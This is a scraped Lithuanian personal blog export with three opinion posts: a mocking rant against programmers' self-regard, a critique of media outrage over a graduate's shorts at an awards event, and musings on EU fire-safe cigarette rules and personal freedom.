O jūs programuotojai kartu su sysadminais valdote informaciją. Jūs esate naujieji naujųjų laikų kariai. Jūsų išskirtinė profesija. Dėl to jūs išskirtiniai ir nusipelnėte visų pagyrų ir – būkime teisingi – geresnių sąlygų nei kiti.<br /><br />Patikėjai? Petrai – asile tu. Taip ir maniau, kad patikėsi. Niekuo aš tavęs nesveikinu. Iš vis tu ne joks sysadminas. Kad serveryje moki Apache ar nginx instaliuoti ir paleisti, tai dar nepadaro tavęs adminu. Ir iš vis jūsų programuotojų dieną tik 256-ta metų diena. Dar toli. Bet kai jau ją būsi šventęs ir kai jau būsi pakankamai sau paplekšnojęs per petį, tada jau bus per vėlu. Reikia iškoneveikti tave dabar. Išmušti tau iš galvos, bet kokias iliuzijas, kad tu išskirtinis ir geresnis už kitus.<br /><br />Taigi, pradėkime nuo išskirtinumo. Taip, Petrai, tu išskirtinis. Ir tavo pasirinkta profesija išskirtinė. Programuotojas. Išskirtinis žodis išskirtinei profesijai. Ta prasme, ji ant tiek išskirtinė, kad net yra sugalvotas specialus žodis, kad atskirtų šitą profesiją nuo kitų. Kaip ir kiekvienai kitai profesijai yra sugalvotas kitas žodis. Dėl to visos profesijos vadinasi profesijomis ir turi kažkokius pavadinimus. Nes jos išskirtinės. Visos profesijos yra išskirtinės. Kaip ir programuotojo. Taigi, visi yra išskirtiniai. Kas reiškia, kad niekas nėra išskirtinis. Kaip ir tu Petrai.<br /><br />Taigi, jau išsiaiškinom? Vien dėl savo profesinio pasirinkimo tu nesi išskirtinis. Ar tu esi išskirtinis tarp programuotojų? Jau ir girdžiu kaip sakai „aš manau, kad esu geresnis už vidurkį“. Ne! Visi jūs, blet, geresni už vidurkį... Džiaukis, jeigu patenki tarp 80% procentų visų programuotojų pagal gerumą.<br /><br />Nors ne. Prisiminiau, Petrai, kuo jūsų profesija yra išskirtinė. Savigyra, ir plojimu sau per petį <a href="http://petraszd.blogspot.com/2013/02/neperlabiausio-programuotojo.html" target="_blank">[3]</a>.<br />
<a href="http://1.bp.blogspot.com/-FL2YubEYLTE/UfVfXjlNqnI/AAAAAAAAA3Q/m_5eH2wN0Mw/s1600/ismanymas.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><br />„Mūsų profesija labai sunki. Reikia iš vien mokytis, nes kitaip bla, bla, bla...“ Jo? Ir ką išmokai tarkim per paskutinius metus? Oho – naują JavaScript MVC biblioteką (Ar kokią ten vieną iš tų naujų madingų JavaScript nesąmonių). Oho – tikrai, kad šaunuolis. Žinai, kas iš tikro turėjo daug mokytis? Ogi vartotojai, kurie turėjo per naujo persimokyti viską. Visą savo darbo procesą pakeisti ir išmokti naudotis tavo nauja suprogramuota vartotojo sąsaja, nes tu, asile, nusprendei išmokti tą naują biblioteką ir šleivai kreivai sukalei tą sistemą. Ir būk atviras – nieko tu ten naujo neišmokai – visi principai seni. Visi <i>design pattern</i>'ai aiškūs ir seniai išmokti. Taip kad tik kitoj rankoj. Vis šokinėji savo komforto zonoje ir apsimetinėji, kad jeigu užsidedi rožinius akinius, tai jau kitoje, neištirtoje visatoje esi.<br /><br />„Jo, bet mums tiek nieks nemokėtų pinigų, jeigu mes nebūtume to verti“ <a href="http://www.15min.lt/naujiena/ziniosgyvai/komentarai/povilas-koropas-apie-varguolius-verslininkus-ir-programuotoju-atlyginimus-500-356393" target="_blank">[4]</a>. Aha? Džiaugiesi, kad esi burbule. Atsimeni, Petrai, kaip prieš 2008-uosius niurzgėjai dėl, anot tavęs, per didelių statybininkų atlyginimų? Tai va. Džiaukis, kol gali. Nes visur ir visada yra cikliškumas. Būna pakilimai, būna ir nuosmukiai. Jo, jo – įtikinėk save, kad „Čia tik pradžia. IT sektorius tik augs“. Aha. Atsimeni kalbas, kad žemės daugiau neatsiras ir nekilnojamas turtas tik augs. Tai va, kažkaip, Petrai, pastebėjau, kad paskutiniu metu nustojai niurzgėti dėl per didelių statybininkų atlyginimų.<br /><br />Ir dabar, pyk nepykęs Petrai, bet suspardysiu didžiausią tavo mitą, apie tavo profesijos pasirinkimą. Tai, kad programuotojai yra protingi. Ne – jie nėra. Tiksliau, kai kurie yra. Bet tai tik šiaip jų savybė. Ne tiek ir daug bendro turinti su jų profesijos pasirinkimu. Štai, netgi nupiešiau tau grafiką su tavo išmanymo kreive:<br />
<br /><a href="http://2.bp.blogspot.com/-FL2YubEYLTE/UfVfXjlNqnI/AAAAAAAAA3U/UY2Hk5aHDY4/s1600/ismanymas.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-FL2YubEYLTE/UfVfXjlNqnI/AAAAAAAAA3U/UY2Hk5aHDY4/s1600/ismanymas.png" height="236" width="400" /></a><br /><br />Kuris tau, Petrai, paaiškina, kad tu durnas. Tiesiog yra viena sritis, kurią tu išmanau geriau nei didžioji dauguma likusios žmonijos. Dėl to tu gali turėti amatą ir uždirbti pinigų batonui. Bet šiaip, atmetus tai – tu gi durnas. Ir ne – gebėjimas programuoti nėra kažkokia aukštesnė už nirvaną būsena, ko pasekoje tu gali suprasti viską, kas dedasi pasaulyje. Tu nesupranti beveik nieko. O ką ir supranti, tą supranti klaidingai. Nes vėlgi, Petrai, tu esi durnas.<br /><br />Tai va, Petrai, tu ir tavo profesija nėra išskirtinė. Tu nesi protingas ir niekad, niekad neleisk sau patikėti tuo maloniu melu, kad yra kitaip. Tu nesi išskirtinis. Tu nesi gabus. Tu nesi geresnis už kitus. Tau dar reikia perskaityti daug knygų. Išklausyti daug paskaitų. Išmokti daug ką. Ir aš turiu omenyje d-a-u-g k-ą. Galbūt įgyti kitos profesijos išsilavinimą. Bet jokiu būdu neįtikėti savo nuostabumu. Nes taip prarasi bet kokias teorines galimybes kažkada (tarkim dešimties metų bėgyje) patekti tarp 70% procentų programuotojų pagal gerumą.<br />
<br />
<br />
<br />
<br />
[1] <a href="http://rokiskis.popo.lt/2013/07/26/sveikinu-adminus-bei-admines-su-sistemu-administratoriu-diena/">http://rokiskis.popo.lt/2013/07/26/sveikinu-adminus-bei-admines-su-sistemu-administratoriu-diena/</a><br />
[2] <a href="http://en.wikipedia.org/wiki/System_Administrator_Appreciation_Day">http://en.wikipedia.org/wiki/System_Administrator_Appreciation_Day</a><br />[3] <a href="http://petraszd.blogspot.com/2013/02/neperlabiausio-programuotojo.html">http://petraszd.blogspot.com/2013/02/neperlabiausio-programuotojo.html</a><span id="goog_1945947283"></span><span id="goog_1945947284"></span><br />[4] <a href="http://www.15min.lt/naujiena/ziniosgyvai/komentarai/povilas-koropas-apie-varguolius-verslininkus-ir-programuotoju-atlyginimus-500-356393">http://www.15min.lt/naujiena/ziniosgyvai/komentarai/povilas-koropas-apie-varguolius-verslininkus-ir-programuotoju-atlyginimus-500-356393</a><br />Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com7tag:blogger.com,1999:blog-1632656242730180910.post-17301607198184543192013-07-15T23:55:00.002+03:002013-07-16T10:13:43.388+03:00Apie neuždengtus lopinėliusYra toks terminas <i>Filter bubble</i> <a href="http://en.wikipedia.org/wiki/Filter_bubble" target="_blank">[1]</a> <a href="http://www.youtube.com/watch?v=B8ofWFx525s" target="_blank">[2]</a>. Norėdamas jo išvengti, aš esu įvairiuose informacijos gavimo terpėse užsiprenumeravęs įvairius informacijos šaltinius. Net it visokių pusiau neaiškių tipų srautus. Tų, su kurių nuomone nesutinku kokia 80%.<br />
<br />
Bet kartais iš jų galima sužinoti, ką nors naujo ir informatyvaus. O kartais galima sužinoti tokius dalykus, apie kuriuos kitaip nebūčiau ir būtų nuo to man tik geriau.<br />
<br />
Kaip, pavyzdžiui, yra toks veikėjas, pseudonimu Blogeris Zeppelinus. Ir čia kada kaip tai jis labai piktinosi viena abituriente <a href="https://plus.google.com/u/0/118198014712853689988/posts/TrH5Y9YTHD7" target="_blank">[3]</a>. Iš ko aš sužinojau, kad Lietuvoje vyksta va tokie vat dalykai:<br />
<br />
- <a href="http://www.balsas.lt/naujiena/743309/abiturientes-stilius-gabiausiu-moksleiviu-apdovanojimuose-ar-dera-rodyti-apnuoginta-uzpakali">http://www.balsas.lt/naujiena/743309/abiturientes-stilius-gabiausiu-moksleiviu-apdovanojimuose-ar-dera-rodyti-apnuoginta-uzpakali</a><br />
- <a href="http://www.15min.lt/naujiena/studentu-zona/abiturientai/itin-trumpais-sortais-vilkinti-sostines-pirmune-susprogdino-seksualumo-bomba-mero-arturo-zuoko-pasoneje-246-353775">http://www.15min.lt/naujiena/studentu-zona/abiturientai/itin-trumpais-sortais-vilkinti-sostines-pirmune-susprogdino-seksualumo-bomba-mero-arturo-zuoko-pasoneje-246-353775</a><br />
<br />
Ir žmonės suranda savyje tiek nupušimo tuo piktintis. Iš viso, kas čia per straipsniai? „Susprogdino seksualumo bombą“, „apnuogintą užpakaliuką“. Mergina vasarą vilkėjo mažai kūno dengiančius drabužius. Viskas. Straipsnio arba visai neturėjo būti, arba jis turėjo būti maždaug toksai: protinga, graži, jauna mergina yra protinga, graži ir jauna. Viskas. Visas straipsnis.<br />
<br />
Nesusipratėliai sugalvoja kaltini neskoningumu ir/ar vulgarumu. Žinot, kas yra neskoninga balsas.lt straipsnyje? Ogi fotografo darbas ir redaktoriaus nuotraukų atrinkimas. Nuotraukose palikti tik sėdmenys stambiu mastu. Lygtai pats vienas užpakalis skraidė rotušėje. Lygtai jis nebuvo pritvirtintas prie kūno su protinga galva.<br />
<br />
Neskoninga apranga? Tai ką dabar pradėsime su liniuote matuoti, kiek centimetrų sijonas yra žemiau kelių. Vėl grįžime į <i>tuos</i> laikus. Gal iš viso neleiskime merginoms eiti į mokyklą ir neleiskime mokytis, nes paskui nežino, kaip rotušėje reikia elgtis – gėdos visai šaliai Europos Sąjungos pirmininkavimo laikotarpiu pridaro. Petruškevičiai davatkiniai atsirado. Etiketo žinovai lydekiniai nelaimingi. Neskoninga gi mat su šortais eiti į rotušę. Žinot, kas toje rotušėje iš tikro buvo neskoninga? Tai, kad joje buvo Zuokas. Ir jis vis dar vadinasi meru.<br />
<br />
Beje, kažkaip visi ganėtinai nudusina faktą, kad renginys buvo skirtas apdovanoti bent jau du šimtukus surinkusius abiturientus. Taigi, mergina yra protinga. Tikriausiai protingesnė už visus moralės sergėtojus. Nebejotinai protingesnė už mane (Ir aš turiu omenyje dabartinį mane, o ne „abiturentinį-praeities mane). Gal dėl to ir visas neapykanta ir visi pamokslavimai? Negražūs, neprotingi ir ne pagal amžių susenę vidutinybės negali pakęsti, kad yra kažkas, kas yra ir protinga, ir graži, ir jauna?<br />
<br />
Kalbant apie protingumą. Mergina surinko daugiau nei du šimtukus. Ką tai reiškia? Tai ne tik reiškia, kad ji protinga ir gerai mokėsi. O ne – to neužtenka surinkti bent du šimtukus valstybiniame egzamine. Merginoms paprastai egzaminuose sekasi prasčiau už vaikinus. Aš labai abejoju, kad tai yra biologinis
skirtumas – tikriausiai tiesiog skirtingo auklėjimo palikimas. Gabesnės merginos paprastai surenka prastesnius balus už mažiau protingus vaikinus. Nes vaikinai yra didesni pochuistai. Merginos labiau stresuoja, labiau nervuojasi ir dėl to būna ima ir susimauna egzaminuose.<br />
<br />
Bent jau du šimtukai reiškiasi, jog mergina ne tik, kad protinga, bet aš drįsčiau daryti prielaidą, kad dar yra ir stipri asmenybė. Nu ir turi gražų užpakalį dar prie to pačio. Kas dar niekam nepamaišė, kas be ko.<br />
<br />
Aš netgi slaptai viliuosi, kad ji specialiai taip pasielgė. Ale trolino (nekenčiu šito žodžio, bet nežinau, kuo jį pakeisti). Ir kad jau kalbant mėmėmis, tai <i>Haters gonna hate</i>.<br />
<br />
Pabaigai. Kažkaip pagalvojau, kad garantuotai renginyje turėjo būti merginų su iškirptėmis. Ir niekas nepanikavo dėl to. Lopinėlis krūtinės pasirodė ne toks moraliai neteisingas, kaip lopinėlis sėdmenų. Įdomi ta etika ir etikos normas.<br />
<br />
Tuo pačiu prisiminiau kiečiausius komiksus internete (<a href="http://www.spaceavalanche.com/">http://www.spaceavalanche.com/</a>). Konkrečiai šitą:<br />
<br />
<a href="http://www.spaceavalanche.com/2011/03/09/work-environment/">http://www.spaceavalanche.com/2011/03/09/work-environment/</a><br />
<br />
<span style="font-size: x-small;"><br />[1] <a href="http://en.wikipedia.org/wiki/Filter_bubble">http://en.wikipedia.org/wiki/Filter_bubble</a><br />[2] <a href="http://www.youtube.com/watch?v=B8ofWFx525s">http://www.youtube.com/watch?v=B8ofWFx525s</a><br />[3] <a href="https://plus.google.com/u/0/118198014712853689988/posts/TrH5Y9YTHD7">https://plus.google.com/u/0/118198014712853689988/posts/TrH5Y9YTHD7</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-76807664791645611282013-06-30T20:02:00.002+03:002013-06-30T20:02:45.488+03:00Nieko nesuprantu apie rūkymąAš esu šioks toks sąmokslo teorijų mėgėjas. Turbūt kaip ir nemaža dalis žmonių. Juk labai smagu galvoti, kad kažkas aplinkui labai svarbaus vyksta. Kažkokie absoliutūs blogiečiai nuolat stengiasi būtent tave sunaikinti. Bet kuo toliau tuo labiau toks požiūris pradeda atrodyti šiek tiek naivus ir pernelyg supaprastintas.<br /><br />Apie ką aš čia? Ogi apie cigaretes. Aš per gyvenimą esu surukęs maksimum 100 cigarečių. Nenustebčiau jeigu jų buvau žymiai mažiau. Tarkim, 50. Taigi, aš nesu didelis ekspertas šitame visame kame.<br /><br />Mane kažkada kažkas keistai nustebino paprotinęs, kad cigaretėse yra ne tik tabako, bet ir bala žino ko dar:<br />
<br />- <a href="http://en.wikipedia.org/wiki/List_of_additives_in_cigarettes">http://en.wikipedia.org/wiki/List_of_additives_in_cigarettes</a><br /><br />Beje, žiūrint į nuorodą reikai atkreipti dėmesį, kad visi šitie 599 komponentai nebūtinai yra vienoje cigaretėje. Yra žymiai mažiau. Tiesiog tiek visokių keistų pavadinimų galima aptikti vienoje ar kitoje cigaretėje.<br /><br />Šitie gamintojai negti turi visą interaktyvią sistemą, kurioje galima rasti kokį brudą (ir ne tik) ir kokiais kiekiais ten deda iš tikro:<br />
<br />- <a href="http://www.pmi.com/eng/our_products/ingredients/pages/technical_products_information.aspx">http://www.pmi.com/eng/our_products/ingredients/pages/technical_products_information.aspx</a><br /><br />Grįžtam. Taigi, mane kažkas paprotino, kad cigaretėse yra visokių chemikalų. Tada kažkoks kitas lunatikas papasakojo, kad realiai taip piktieji blogiečiai kontroliuoja visą likusią žmoniją. Kad tie chemikalą dedami grynai iš piktos valios. Paskui dar, kad per tuos chemikalus viską kontroliuoja...<br /><br />Nu, aš suprantu, kad nesąmonė. Bet man vis tiek buvo kažkaip miela tokia sąmokslo teorija.<br /><br />Ir tada, visai neseniai, sužinojau dar vieną įdomų dalyką. Nuo 2011 EU privaloma cigaretes konstruoti taip, kad jos nerūkomos užgestų pačios.<br /><br />- <a href="http://ec.europa.eu/unitedkingdom/press/press_releases/2011/pr1183_en.htm">http://ec.europa.eu/unitedkingdom/press/press_releases/2011/pr1183_en.htm</a><br />- <a href="http://en.wikipedia.org/wiki/Fire_safe_cigarette">http://en.wikipedia.org/wiki/Fire_safe_cigarette</a><br /><br />Taigi, į komerciškai parduodamas cigaretes yra privaloma dėti bent kažkokį skaičių chemikalų. Dėl paprasčiausios priežasties – norint sumažinti gaisrų, sukeltų neužgesintos cigaretės, skaičių.<br /><br />Kitaip sakant, dėl biurokratijos ir konkurencinės įmonių kovos. Nes tikriausiai koks nors vidutinės grandies kažkas kokioje nors didžiojoje tabako kompanijoje sugalvojo, kad jeigu būtų toks priešgaisrinis cigarečių reikalavimas, tai jis beveik neįtakotų didelių kompanijų, bet visiems mažo kalibro konkurentams būtų kapec.<br /><br />Dėl tos idėjos jis buvo paaukštintas pareigose. Prasidėjo lobizmo kompanija. Galiausiai rezoliucijos projektas atsidūrė EU parlamente. Arba net nebuvo jokios tabako kompanijos ir jokio tabako kompanijos darbuotojo. Galbūt kažkas šiaip sugalvojo būdą, kaip sumažinti rūkymo sukeltus gaisrus. Bet kokiu atveju, atsirado rezoliucijos projektas. EU tiek daug marazmo, kad eilinis parlamentaras tikrai visų dokumentų neperskaito ir į juos neįsigilina. Tada ateina laikas balsuoti ir:<br /><br />Dialogo variantas A:<br /><br />- Už ką aš čia balsuoju?<br />- Ar esi už tai, kad būtų tiek pat gaisrų kaip dabar; ar už tai, kad mažiau?<br />- Tai žinoma, kad už mažiau.<br /><br />Dialogo variantas B:<br /><br />- Tai va, tie rūkoriai patys savo noru save kasdieną nuodija. Ar sutinki, kad įmesim į jų cigaretes dar kelis papildomus nuodus ir taip sumažinsime išlaidas gaisrinėms?<br />- Sakai, gali atsirasti papildomų pinigų biudžete? Tai žinoma, kad už.<br /><br />Aš, aišku, čia tik svaigstu. Aš nežinau, kaip buvo. Bet, kad nebuvo jokių piktų blogiečių, kurie turi hobį skriausti žmoniją, tai faktas. Tiesiog didžiulis biurokratinis aparatas veikia, kaip veikia. Kiekvienas biški, kitiems tiesiogiai nekenkdamas, traukia kaldrą į savo pusę. Kai tokių traukėjų daug daug tūkstančių, tai taip ir gaunasi.<br />
<br />
Įtariu paėmus bet kurį cigaretės chemikalą ir pažvelgę į priežastis, kodėl jis ten yra, galiausiai rasime paprastas ir žmogiškas to priežastis.<br /><br />Šitie gaisrų prevencijos chemikalai cigaretėse man šiek tiek paaiškina žmonijos prigimtį. Kaip kokia metafora. Chaosas. Niekas iki galo nesupranta, ką daro. Ir ką reikia daryti. Visi biški panikuoja. Visi biški nekompetetingi, bet apsimeta, kad tokie nėra. Visi kažką daro. Gaunasi, kas gaunasi. Ir niekas nieko iki galo nekontroliuoja. Bet kontrolės iliuzija yra tokia maloni.<br /><br />Ir ką gali žinoti, gal ir gerai, kad cigaretėse tiek daug chemikalų. Gal tai iš tikro daug padeda. Nors Lietuvos statistika lyg ir nerodo didelio pokyčio po 2011 metų. Bet aš net nežinau, ar ta rezoliucija Lietuvoje galioja... Nors turėtų galioti.<br />
<br />- <a href="http://www.vpgt.lt/index.php?-698967809">http://www.vpgt.lt/index.php?-698967809</a><br /><br />Bet. Čia vėl iškyla klausimas dėl laisvės ir saugumo. Jeigu kažkas nori rūkyti „pavojingas“ cigaretes, tai aš manau jis turi turėti tokią teisę ir laisvę. Kodėl? Todėl, kad aš irgi noriu turėti laisvę elgtis kvailai ir teisę žaisti profesionalų krepšinį, prirūkęs žolės:<br /><br />- <a href="http://www.basketnews.lt/news-63252-kvaisalus-vartojes-kelys-diskvalifikuojamas-trims-menesiams.html">http://www.basketnews.lt/news-63252-kvaisalus-vartojes-kelys-diskvalifikuojamas-trims-menesiams.html</a><br /><br />Ir jeigu aš prieštarauju kitiems kitų laisvių, tai aš neturiu jokios teisės reikalauti laisvių sau.<br />Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com3